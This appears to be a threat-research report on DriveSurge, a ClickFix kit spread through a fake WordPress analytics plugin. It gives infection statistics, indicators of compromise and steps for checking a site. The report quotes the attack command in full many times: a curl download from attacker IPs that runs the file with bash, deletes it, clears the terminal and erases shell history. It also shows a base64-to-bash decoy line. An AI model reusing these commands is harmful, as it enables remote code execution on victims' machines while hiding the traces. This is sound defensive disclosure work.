DriveSurge ClickFix kit

DriveSurge is a ClickFix kit delivered by a fake WordPress analytics plugin, ganalytics-tracker. We have matched its current code on 3,192 sites since 2 August.

Research by Kirk

DriveSurge in numbers

Since 2 August, the first DriveSurge match in our records, counted on 12 November 2026. How we count.

Sites with DriveSurge code	3,192
Sites with a match in the last 30 days	1,598
New sites in October	459
Still serving it when recaptured at least 25 days later	1,150 of 1,539 sites (75%)
Sites running WordPress (captured since 25 September)	95%

A plugin that calls itself analytics

DriveSurge starts with a WordPress plugin named ganalytics-tracker. It adds a script tag dressed as analytics, with the id ganalytics-tracker-js, that loads a stage called t.js with a token for the site, /t.js?site=, from a throwaway domain. The controllers also serve the stage under a hashed name, /t.[12 hex].js. It also sets a cookie whose name is stored in Base64 and decodes to fkrc_shown, so a visitor who has seen the lure is not shown it again. Some sites print the plugin's PHP source on their pages by mistake, or serve it from a random REST route.

Caching plugins keep local copies of t.js under wp-content/cache/min/ or wp-content/litespeed/js/, so the stage can survive after the plugin is gone.

An A/B-tested lure

t.js records a site ID and an A/B variant, skips bots, and loads one of two lure builds, ext or ext-b. Their file names end in the first twelve characters of the file's own SHA-256. Every deployment is rebuilt with obfuscator.io, so no two builds look the same.

The lure is a fake reCAPTCHA in a full-screen element, #fkrc-overlay, set to the highest z-index a browser allows. It reports what the visitor does, including a captcha_abandoned event when someone walks away.

The command

The lure only appears for Mac visitors: browsers that report Macintosh and no touch screen. The download address is never written out in the page. It sits in the obfuscator.io string table, and the browser assembles the command from it:

export SRC_URL='[page URL]' && (cd /tmp && curl -kfsSL "http://[IP]/[hex]?force=1" -o .[random] && bash .[random] && rm -f .[random]) > /dev/null 2>&1 & clear

What the visitor copies is that command in Base64, behind a decoy line:

echo 'I am not a robot - reCAPTCHA Verification ID: [number]' && echo '[base64]' | base64 -D | bash

The script downloads to a hidden file in /tmp, runs and deletes itself. The command then clears the Terminal's scrollback, removes itself from shell history and prints a "Verification successful" message.

Each build carries one payload address: plain HTTP to a bare IP address, a path of 10 to 16 hex characters and ?force=1. The 22 builds we captured between 23 September and 3 November 2026 name nine servers: 45.158.199[.]240, 95.163.152[.]66, 45.147.31[.]197, 45.159.144[.]59, 62.60.148[.]126, 77.110.102[.]43, 77.221.153[.]100, 138.124.78[.]70 and 45.131.215[.]56. The same path turns up on more than one server, so the path names the payload build.

Losing the overlay war

OverlayWar's cleaner deletes #fkrc-overlay whenever both kits are on the same site, which happens on 440 sites. A DriveSurge lure can be removed by a rival kit before any visitor sees it.

What we see

Month	New sites
September	1,898
October	459
November so far	344

Of the 1,539 sites recaptured at least 25 days after their first match, 1,150 were still serving DriveSurge (75%). 95% of DriveSurge sites captured since 25 September run WordPress.

Checking a site

In WordPress, look for a plugin called ganalytics-tracker, or its name in Base64, Z2FuYWx5dGljcy10cmFja2Vy. In the page source, look for:

a script with the id ganalytics-tracker-js, or one loading /t.js?site= or /t.[12 hex].js from a domain you do not recognise
an element with the id fkrc-overlay
a t.js copy under wp-content/cache/min/ or wp-content/litespeed/js/

In the browser, a cookie named fkrc_shown on your own domain is a sign the lure has run. On a Mac where someone pasted the command, a request to a bare IP address ending ?force=1 is the payload download.

Contracts we read

We read 11 DriveSurge contracts every day.

Chain	Contract	Current destinations	Last changed
Polygon	`0x00b93a2d96f12e7c1cd050c60d5380ab9d5335c7`	`ingestdot[.]net`, `statpipeplus[.]com`, `tracewaytech[.]com`	15 September 2026
Polygon	`0x3ccb3471eeaf1d11e036e6c8dd2c82089f8bf1df`	`accountvaulthub[.]com`, `ssoinfolink[.]com`, `traceropszone[.]net`	17 September 2026
Polygon	`0x3d00acc2e1cfa18edef8af4320af3f1654b46648`	`heartbeatpipe[.]net`, `metricsfeedware[.]com`, `pixelsoftzone[.]net`	22 September 2026
Polygon	`0x4f99a81e59311768e786de5d1c58ac6d354c649d`	`collectortimetech[.]com`, `feedspanone[.]net`, `logbasesky[.]com`	12 September 2026
Polygon	`0x6118b7621792903be1c300931fcf15b5ffd3c569`	`beastmodeactivation[.]com`, `guidexpertmulti[.]com`, `perfectsunmars[.]com`	25 September 2026
Polygon	`0x699a65c477e684f38c4e811b60f5a8951f1a61bd`	`assetsstacktech[.]com`, `servicehubsys[.]com`	1 October 2026
Polygon	`0x72f66c860aea2430da124d2dfa893ea4b8905a30`	`prefstrack[.]com`, `settingstools[.]com`	3 October 2026
Polygon	`0x88411e5440e1482f0abcb5212daeab28cf3332c1`	`accountsensepro[.]net`, `oauthapp[.]net`, `reportsnapbit[.]com`	18 September 2026
Polygon	`0xb90658783fda2e726c5756f94a461291c0cef691`	`netweblabs[.]com`, `pluginyardware[.]com`, `thumbinfo[.]net`	15 September 2026
Polygon	`0xd0842699e9e201bce4879a0a9d241c96117ebb08`	`collectlabsworks[.]com`, `runtimeringnow[.]com`, `tracerwiresoft[.]com`	24 September 2026
Polygon	`0xf20221c0cf767eee759bbe1fb8dd76eaef0e5779`	`analyticroutebox[.]com`, `eventwireix[.]com`, `metricserveonline[.]com`	27 September 2026

The EtherHiding contract tracker keeps the full destination history.

Hosts its commands download from

DriveSurge lure commands we captured download from 17 hosts. These are the 10 on the most sites.

Host	Sites	Last seen	Latest command
`45[.]158[.]199[.]240`	457	11 November 2026	Command `export SRC_URL='{_0x9c7c69}' && (cd /tmp && curl -kfsSL "hxxp://45[.]158[.]199[.]240/fd8dc70d485d?force=1" -o . && bash . && rm -f .) > /dev/null 2>&1 & clear; printf '\033[3J'; history -d $(history 1 2>/dev/null \| awk '{print $1}') 2>/dev/null; fc -p /dev/null 2>/dev/null; printf '\n \033[32m\xe2\x9c\x93 Verification successful\033[0m\n\n'` URL `hxxp://45[.]158[.]199[.]240/fd8dc70d485d?force=1` First seen 31 October 2026, 1 URL on this host.
`138[.]124[.]78[.]70`	384	29 October 2026	Command `export SRC_URL='{_0x55728c}' && (cd /tmp && curl -kfsSL "hxxp://138[.]124[.]78[.]70/87da77e63a37?force=1" -o . && bash . && rm -f .) > /dev/null 2>&1 & clear; printf '\033[3J'; history -d $(history 1 2>/dev/null \| awk '{print $1}') 2>/dev/null; fc -p /dev/null 2>/dev/null; printf '\n \033[32m\xe2\x9c\x93 Verification successful\033[0m\n\n'` URL `hxxp://138[.]124[.]78[.]70/87da77e63a37?force=1` First seen 15 October 2026, 1 URL on this host.
`45[.]147[.]31[.]197`	236	15 October 2026	Command `export SRC_URL='{_0x53dc6d}' && (cd /tmp && curl -kfsSL "hxxp://45[.]147[.]31[.]197/41a7b0ffa7748712?force=1" -o . && bash . && rm -f .) > /dev/null 2>&1 & clear; printf '\033[3J'; history -d $(history 1 2>/dev/null \| awk '{print $1}') 2>/dev/null; fc -p /dev/null 2>/dev/null; printf '\n \033[32m\xe2\x9c\x93 Verification successful\033[0m\n\n'` URL `hxxp://45[.]147[.]31[.]197/41a7b0ffa7748712?force=1` First seen 5 October 2026, 2 URLs on this host.
`95[.]163[.]152[.]66`	117	9 October 2026	Command `export SRC_URL='{_0x319963}' && (cd /tmp && curl -kfsSL "hxxp://95[.]163[.]152[.]66/41a7b0ffa7748712?force=1" -o . && bash . && rm -f .) > /dev/null 2>&1 & clear; printf '\033[3J'; history -d $(history 1 2>/dev/null \| awk '{print $1}') 2>/dev/null; fc -p /dev/null 2>/dev/null; printf '\n \033[32m\xe2\x9c\x93 Verification successful\033[0m\n\n'` URL `hxxp://95[.]163[.]152[.]66/41a7b0ffa7748712?force=1` First seen 5 October 2026, 2 URLs on this host.
`77[.]110[.]102[.]43`	86	3 October 2026	Command `export SRC_URL='{_0x4582fc}' && (cd /tmp && curl -kfsSL "hxxp://77[.]110[.]102[.]43/d2503d96a3?force=1" -o . && bash . && rm -f .) > /dev/null 2>&1 & clear; printf '\033[3J'; history -d $(history 1 2>/dev/null \| awk '{print $1}') 2>/dev/null; fc -p /dev/null 2>/dev/null; printf '\n \033[32m\xe2\x9c\x93 Verification successful\033[0m\n\n'` URL `hxxp://77[.]110[.]102[.]43/d2503d96a3?force=1` First seen 29 September 2026, 1 URL on this host.
`62[.]60[.]148[.]126`	29	29 September 2026	Command `export SRC_URL='{_0x53a206}' && (cd /tmp && curl -kfsSL "hxxp://62[.]60[.]148[.]126/9fe321dd7b?force=1" -o . && bash . && rm -f .) > /dev/null 2>&1 & clear; printf '\033[3J'; history -d $(history 1 2>/dev/null \| awk '{print $1}') 2>/dev/null; fc -p /dev/null 2>/dev/null; printf '\n \033[32m\xe2\x9c\x93 Verification successful\033[0m\n\n'` URL `hxxp://62[.]60[.]148[.]126/9fe321dd7b?force=1` First seen 27 September 2026, 1 URL on this host.
`45[.]131[.]215[.]56`	22	26 September 2026	Command `export SRC_URL='{_0x1fee75}' && (cd /tmp && curl -kfsSL "hxxp://45[.]131[.]215[.]56/8031e818c7a46?force=1" -o . && bash . && rm -f .) > /dev/null 2>&1 & clear; printf '\033[3J'; history -d $(history 1 2>/dev/null \| awk '{print $1}') 2>/dev/null; fc -p /dev/null 2>/dev/null; printf '\n \033[32m\xe2\x9c\x93 Verification successful\033[0m\n\n'` URL `hxxp://45[.]131[.]215[.]56/8031e818c7a46?force=1` First seen 23 September 2026, 1 URL on this host.
`45[.]150[.]32[.]130`	17	12 November 2026	Command `export SRC_URL='{_0x2372f7}' && (cd /tmp && curl -kfsSL "hxxp://45[.]150[.]32[.]130/118b67f29e9f765?force=1" -o . && bash . && rm -f .) > /dev/null 2>&1 & clear; printf '\033[3J'; history -d $(history 1 2>/dev/null \| awk '{print $1}') 2>/dev/null; fc -p /dev/null 2>/dev/null; printf '\n \033[32m\xe2\x9c\x93 Verification successful\033[0m\n\n'` URL `hxxp://45[.]150[.]32[.]130/118b67f29e9f765?force=1` First seen 12 November 2026, 2 URLs on this host.
`45[.]159[.]144[.]59`	10	31 October 2026	Command `export SRC_URL='{_0x35ac5c}' && (cd /tmp && curl -kfsSL "hxxp://45[.]159[.]144[.]59/0b14dc8b215018df?force=1" -o . && bash . && rm -f .) > /dev/null 2>&1 & clear; printf '\033[3J'; history -d $(history 1 2>/dev/null \| awk '{print $1}') 2>/dev/null; fc -p /dev/null 2>/dev/null; printf '\n \033[32m\xe2\x9c\x93 Verification successful\033[0m\n\n'` URL `hxxp://45[.]159[.]144[.]59/0b14dc8b215018df?force=1` First seen 29 October 2026, 1 URL on this host.
`77[.]221[.]153[.]100`	9	4 October 2026	Command `export SRC_URL='{_0x592dd2}' && (cd /tmp && curl -kfsSL "hxxp://77[.]221[.]153[.]100/d2503d96a3?force=1" -o . && bash . && rm -f .) > /dev/null 2>&1 & clear; printf '\033[3J'; history -d $(history 1 2>/dev/null \| awk '{print $1}') 2>/dev/null; fc -p /dev/null 2>/dev/null; printf '\n \033[32m\xe2\x9c\x93 Verification successful\033[0m\n\n'` URL `hxxp://77[.]221[.]153[.]100/d2503d96a3?force=1` First seen 3 October 2026, 1 URL on this host.

The ClickFix command tracker lists every host.